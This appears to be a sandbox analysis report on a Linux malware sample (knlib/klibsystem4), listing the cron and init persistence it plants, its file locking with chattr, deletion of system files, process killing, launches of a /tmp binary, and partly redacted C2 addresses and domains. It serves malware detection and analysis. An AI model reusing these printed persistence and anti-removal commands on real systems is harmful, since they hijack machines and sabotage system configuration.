Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/init.d/knlib
- /var/spool/cron/crontabs/root
- /etc/cron.d/.lib-knlib4
- /etc/cron.hourly/.lib-knlib4
- /etc/cron.daily/.lib-knlib4
- /etc/cron.weekly/.lib-knlib4
- /etc/cron.monthly/.lib-knlib4
Malicious functions:
Manages services:
- ['systemctl', 'daemon-reload']
- ['systemctl', 'enable', 'knlibe.service']
Launches processes:
- chattr -ia /etc/cron.weekly/man-db
- bash -c (crontab -l 2>/dev/null | grep -v \x27.klibsystem4-1712779286-261\x27 ; echo \x22* * * * * /var/tmp/.klibsystem4-1712779286-261 >/dev/null 2>&1\x22) | crontab -
- rm -rf /etc/sysctl.conf
- crontab -
- hostname
- chattr -ia /etc/cron.daily/.placeholder
- /bin/bash /etc/init.d/knlib start
- chattr -ia /var/spool/cron/crontabs
- chattr +ia /etc/systemd/system/knlibe.service
- chattr +ia /etc/cron.hourly/.lib-knlib4
- cat /etc/ssh/sshd_config
- chattr +ia /bin/knlib
- chattr +ia /etc/cron.monthly/.lib-knlib4
- chattr -ia /etc/cron.daily/logrotate
- sed -e s/$//
- chattr +ia /var/spool/cron/.lib-knlib4
- chattr +ia /etc/init.d/knlib
- cut -d: -f2
- ps -A -ostat,ppid
- nohup /tmp/bi.64 &
- crontab -l
- chattr +ia /var/spool/cron/crontabs/root
- /tmp/bi.64 &
- sysctl -p
- chattr +ia /etc/cron.d/.lib-knlib4
- /usr/bin/mawk awk {print \x22-\x22$2}
- bash -c rm -rf /etc/sysctl.conf ; echo fs.file-max = 2097152 > /etc/sysctl.conf ; sysctl -p ; ulimit -Hn ; ulimit -n 99999 -u 999999
- rm -rf -- klibsystem4
- chattr -ia /etc/cron.d/e2scrub_all
- chattr -ia /etc/cron.hourly/.placeholder
- ss -ant
- grep -m 1 model name /proc/cpuinfo
- ps -A -ostat,ppid 2>/dev/null | awk \x27/[zZ]/ && !a[$2]++ {print $2}\x27 2>/dev/null | while read procid; do kill -9 $procid 2>/dev/null; done;if `id -u 2>/dev/null` -eq \x270\x27 ; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 $procid 2>/dev/null; done fi
- grep -c ^processor /proc/cpuinfo
- hostname -I
- /usr/bin/mawk awk /[zZ]/ && !a[$2]++ {print $2}
- chattr +ia /etc/anacrontab
- chattr +ia /etc/cron.weekly/.lib-knlib4
- <0xe0>
- chattr -ia /etc/cron.d/.placeholder
- grep -v grep
- id -u
- ps x
- chattr -ia /etc/cron.daily/apt-compat
- cp -f -r -- /bin/knlib /bin/klibsystem4
- chattr -ia /etc/cron.daily/man-db
- bash -c crontab -
- chattr -ia /etc/cron.daily/dpkg
- chattr -ia /etc/cron.weekly/.placeholder
- nohup /tmp/bin.64 -c -p 80 -p 443 -tls -dp 80 -dp 443 -tls -d -pwn &
- chattr -ia /etc/cron.monthly/.placeholder
- grep /etc/cron
- grep Port
- nohup ./klibsystem4
- /tmp/bin.64 -c -p 80 -p 443 -tls -dp 80 -dp 443 -tls -d -pwn &
- head -n 1
- sed -e s/^ *//
- whoami
- /usr/bin/mawk awk {print $1}
- chattr +ia /etc/cron.daily/.lib-knlib4
- grep -v .klibsystem4-1712779286-261
Performs operations with the file system:
Modifies file access rights:
- /etc/init.d/knlib
- /usr/bin/knlib
- /var/spool/cron/crontabs/tmp.oOBEMm
- /var/spool/cron/crontabs/tmp.Pp7fK8
- /var/spool/cron/crontabs/tmp.wfCj42
Deletes folders:
- /var/spool/cron/crontabs
Creates or modifies files:
- /etc/sysctl.conf
- /proc/sys/fs/file-max
- /tmp/.klibsystem4.lock
- /etc/systemd/system/knlibe.service
- /usr/bin/knlib
- /var/spool/cron/crontabs/tmp.oOBEMm
- /var/tmp/.klibsystem4-1712779286-261
- /var/spool/cron/crontabs/tmp.Pp7fK8
- /var/spool/cron/.lib-knlib4
- /etc/anacrontab
- /var/spool/cron/crontabs/tmp.wfCj42
- /tmp/bi.64
- /tmp/bin.64
- /tmp/.bashirc
Deletes files:
- /etc/sysctl.conf
- /etc/cron.d/.placeholder
- /etc/cron.d/e2scrub_all
- /var/spool/cron/crontabs
- /etc/cron.hourly/.placeholder
- /etc/cron.daily/.placeholder
- /etc/cron.daily/apt-compat
- /etc/cron.daily/dpkg
- /etc/cron.daily/logrotate
- /etc/cron.daily/man-db
- /etc/cron.weekly/.placeholder
- /etc/cron.weekly/man-db
- /etc/cron.monthly/.placeholder
- /var/spool/cron/crontabs/tmp.wfCj42
Locks files:
- /tmp/.klibsystem4.lock
- /tmp/.bashirc
Changes time of creation/access/modification of files:
- /var/spool/cron/crontabs
Network activity:
Establishes connection:
- 8.#.8.8:53
- 5.##.80.215:80
- 80.##.24.30:80
- 80.##.24.30:443
- 51.###.171.23:80
- 51.###.171.23:443
DNS ASK:
- ru#.#ck-dns.ws
- c4####cd.pwndns.pw
- pw#.###cleservice.top
Sends data to the following servers:
- 5.##.80.215:80
- 80.##.24.30:80
- 51.###.171.23:80
Receives data from the following servers:
- 5.##.80.215:80
- 80.##.24.30:80
- 51.###.171.23:80
Other:
Collects OS information
Collects CPU information
Collects RAM information